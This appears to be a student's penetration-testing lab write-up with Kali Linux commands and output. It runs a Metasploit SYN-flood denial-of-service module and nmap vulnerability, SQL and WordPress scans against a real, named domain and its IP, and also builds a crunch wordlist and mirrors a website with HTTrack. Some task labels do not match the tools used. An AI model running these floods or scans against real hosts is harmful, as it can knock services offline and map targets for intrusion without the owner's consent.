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Task:1

1. Dos attack using nmap:

The nmap scripting engine has numerous scripts that can be used to perform dos attack. This specific recipe will demonstrate how to locate dos scripts, identify the usage of the script.

command:

\$ sudo msfconsole

Use auxiliary/dos/tcp/synflood

Set RHOSTS mitkundapura.com

Run

```
(kali㉿kali)-[~]
└─$ sudo msfconsole
[sudo] password for kali:
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Ni
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
previous definition of NAME was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Ni
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
previous definition of PREFERENCE was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Ni
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
previous definition of IDENTIFIER was here
/usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/hrr_rb_ssh-0.4.2/lib/hr
already initialized constant HrrRbSsh::Transport::ServerHostKeyAlgorithm::EcdsaSha2Ni
```

```
[*] Running module against 217.21.87.244
[*] SYN flooding 217.21.87.244:80 ...
^C[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
[*] Running module against 2a02:4780:11:771:0:2d4c:6d7f:1
[*] SYN flooding 2a02:4780:11:771:0:2d4c:6d7f:1:80 ...
[-] Auxiliary failed: ArgumentError str is not a valid IPV4 address
[-] Call stack:
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/packetfu-1.1.13/l
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/packetfu-1.1.13/l
[-] /usr/share/metasploit-framework/vendor/bundle/ruby/3.0.0/gems/packetfu-1.1.13/l
[-] /usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb:50:in `ru
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) >

(kali㉿kali)-[~]
└─$ echo pramal
pramal
```

2. Sql empty password enumeration scanning using nmap:

Nmap is one of the most popular tool used for the enumeration of the target host. Nmap can use scans that provide os, version and service detection for individual or multiple devices.

Command:

```
$ nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433
```

mitkundapura.com

```
File Actions Edit View Help
~(kali@kali)-[~]
$ nmap -p 1433 --script ms-sql-info --script-args mssql.instance-port=1433 mitkunda
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 01:53 EST
Failed to resolve "mitkundapura.com".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 20.51 seconds

~(kali@kali)-[~]
$ echo pramal
pramal

~(kali@kali)-[~]
$
```

3 Vulnerability scan using nmap:

One of the most well known vulnerability scanner is nmap_vulner. Thenmap script engine searches HTTP responses to identify CPE's for the script.

Command:

```
$ nmap -sV --script vuln mitkundapura.com
```

```
File Actions Edit View Help
~(kali@kali)-[~]
$ nmap -sV --script vuln mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 03:05 EST
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.81% done; ETC: 03:07 (0:00:00 remaining)
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.043s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD or KnFTPD
| ssl-dh-params:
|   VULNERABLE:
|     Diffie-Hellman Key Exchange Insufficient Group Strength
|       State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|         Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|         Modulus Type: Safe prime
|         Modulus Source: Unknown/Custom-generated
|         Modulus Length: 1024
|         Generator Length: 8
|         Public Key Length: 1024
|     References:
|       https://weakdh.org
|_ 80/tcp    open  tcpwrapped
|_ http-server-header: LiteSpeed
|_ http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
```

```

|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
443/tcp open https?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
3306/tcp open mysql MySQL 5.5.5-10.5.13-MariaDB-cll-lve
7443/tcp open ssl/http OpenResty web app server
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: openresty
8443/tcp open ssl/http OpenResty web app server
|_http-server-header: openresty
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 393.87 seconds

(kali㉿kali)-[~]
$ echo p
p

(kali㉿kali)-[~]
$ echo pramal
pramal

```

4 Create a password list using characters “fghy” the password should be minimum and maximum length 4 letters using tool hydra

Hydra is a security tool that can be used for legitimate security testing and auditing purposes, and its usage should comply with ethical and legal guidelines. It is not ethical to use to perform any malicious activity.

Command:

\$crunch 4 4 fghy -o pass.txt

```

(kali㉿kali)-[~]
$ crunch 4 4 fghy -o wordlist.txt
Crunch will now generate the following amount of data: 1280 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 256

crunch: 100% completed generating output

(kali㉿kali)-[~]
$ echo pramal
pramal

```

5 Wordpress scan using nmap:

Word press as a publishing platform, security testing is the important part of ensuring the installation is secure. Nmap has a couple of NSE scripts specifically for the testing of wordpress installations.

Command:

```
$nmap -sV --script http-wordpress-enum mitkundapura.com
```

```
(kali@kali)-[~]
└─$ nmap --script http-wordpress-enum --script-args type="themes" mitkundapura.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 02:07 EST
NSE: [http-wordpress-enum] got no answers from pipelined queries
NSE: [http-wordpress-enum] got no answers from pipelined queries
NSE: [http-wordpress-enum] got no answers from pipelined queries
Nmap scan report for mitkundapura.com (217.21.87.244)
Host is up (0.056s latency).
Other addresses for mitkundapura.com (not scanned): 2a02:4780:11:771:0:2d4c:6d7f:1
Not shown: 994 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
443/tcp   open  https
3306/tcp  open  mysql
7443/tcp  open  oracleas-https
8443/tcp  open  https-alt

Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds

(kali@kali)-[~]
└─$ echo pramal
```

6 What is use of HTTrack?command to copy website?

HTTrack is a free and open source website copying tool that allows you to download an entire website to your local computer for offline browsing.

Command for copying website:

```
$httrack www.kali.org
```

```
(kali@kali)-[~]
└─$ cd www.kali.org
(kali@kali)-[~/www.kali.org]
└─$ ls
about-us  community  docs  get-kali.min44a4.js  index.min3ef3.js  newsletter  releases  sitemap.xml  torrents.xml
blog      contact    features  images  index.min839.css  partnerships  rss.xml  style.min38a.css
cdn-cgi   css        get-kali  index.html  kali-nethunter  plugins  script.min7c1.js  tools

(kali@kali)-[~/www.kali.org]
└─$ cat rss.xml
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Kali Linux</title><link>https://www.kali.org/</link><description>Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network Security assessments.</description><language>en-us</language><copyright>© OffSec Services Limited 2023. All rights reserved.</copyright><lastBuildDate>Thu, 02 Mar 2023 00:00:00 +0000</lastBuildDate><atom:link href="https://www.kali.org/rss.xml" rel="self" type="application/rss+xml"/><webfeeds:cover image="https://www.kali.org/images/kali-logo.svg"/><webfeeds:icon>https://www.kali.org/images/favicon.svg</webfeeds:icon><webfeeds:logo>https://www.kali.org/images/favicon.svg</webfeeds:logo><webfeeds:related layout="card" target="browser"/><webfeeds:accentColor>3678F0</webfeeds:accentColor><item><title>Kali Linux (is) Everywhere!</title><link>https://www.kali.org/blog/kali-linux-is-everywhere/</link><guid>https://www.kali.org/blog/kali-linux-is-everywhere/</guid><pubDate>Wed, 11 Jan 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-is-everywhere/images/kali-everywhere-banner.jpg" type="image/jpeg"/><description><p>One of the primary goals of Kali Linux is to put the tools you need as close to you as possible. Over the years this has resulted in a number of different ways to get Kali, but not everyone knows about all the options! In this post we are going to do an overview of different options you have for running Kali, and where you can go for more information for each option.</p><p>You should keep in mind as we review options what will be best for you, in your specific use case. What do you intend to use Kali for? Where will you be when you need access to Kali? One of the items that is unique to Kali is most instances are actually pretty short lived, and replaced often. For instance, in the penetration testing space it is considered best practice by many to wipe your install and start over with each new customer or assessment. On the other hand, there are instances of Kali that are around for a very long time; for instance, running scanning engines for enterprises.</p><p>You won't find a singular "right" way to interact with Kali, you have to determine what works best for you. Which is why we provide so many options.</p><p>Let's look at an overview of all of the various ways to get Kali. Should anything seem interesting, the table contains hyperlinks directly to our documentation on a platform where available.</p><h2 id="platform-overview">Platform Overview</h2><p>Please note that this is the state of Kali Linux at the time of publishing. For a consistently updated table, please check <a href="https://www.kali.org/docs/introduction/kali-linux-image-overview">here</a>.</p></table>
```

```
kali@kali: ~/www.kali.org
File Actions Edit View Help
e Debian compliant.</p>
</h3 id="long-term-packaging-and-maintenance-of-high-profile-tools">Long Term Packaging and Maintenance of High Profile Tools</h3>
<p>Many of the tools in our toolbox need to be &ldquo;bleeding edge&rdquo;. This means we have take on the task of packaging and maintaining upstream versions of many tools, so that our users are constantly kept up to date where it matters.</p>
</h3 id="streamlined-development-process">Streamlined Development Process</h3>
<p>As our source packages are now also Debian compliant, you can quickly and easily get the required sources of each tool, then modify and rebuild them with a set of commands.</p>
</h3 id="bootstrap-builds-and-iso-customizations">Bootstrap Builds and ISO Customizations</h3>
<p>One of the many benefits of our move to a Debian compliant system, is the ability to Bootstrap a Kali Installation/ISO directly from our repositories. This means that you can easily <a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">build your own customizations of Kali</a>, as well as per <a href="https://www.kali.org/docs/installation/network-pxe/">enterprise network installs</a> from a local or remote repository.</p>
</h3 id="automating-kali-installations">Automating Kali Installations</h3>
<p>Kali Linux installations can now be automated using pre-seed files. This allows for enterprise wide customization and deployment on multiple systems.</p>
</h3 id="real-arm-development">Real ARM Development</h3>
<p>BackTrack 5 brought with it new support for ARM hardware. Our ARM build-bot was a modified Motorola Xoom tablet, which suffice to say, didn&rsquo;t last long. To help remedy this, <a href="https://www.offensive-security.com/">Offensive Security</a> has donated a Calxeda ARM cluster to our project, allowing real and long term development of Kali Linux ARM images.</p>
</h3 id="complete-desktop-environment-flexibility">Complete Desktop Environment Flexibility.</h3>
<p>Our new build and repository environments allow for complete flexibility in generating your own updated Kali ISOs, with any desktop environment you like. Do you prefer KDE? LXDE? XFCE? Anything else? Then <a href="https://www.kali.org/docs/development/live-build-a-custom-kali-iso/">change your Kali desktop environment</a> yourself.</p>
</h3 id="seamless-upgrades-between-future-major-versions">Seamless Upgrades Between Future Major Versions</h3>
<p>Another benefit derived from the move to a Debian compliant system is the ability to seamlessly upgrade future major version of Kali. No longer will you have to reinstall your penetration testing machine due a new version of Kali coming out.</p>
<p>With all these changes (and many more), you can see why we&rsquo;re so excited about this release. Go ahead and give Kali a spin. Head on to the <a href="https://www.kali.org/docs/">documentation area</a> for some setup guides, and then over to our <a href="https://forums.kali.org/">forums</a> and join the Kali community!</p></description></item></channel></rss>

(kali@kali)~$ echo pramal
pramal
```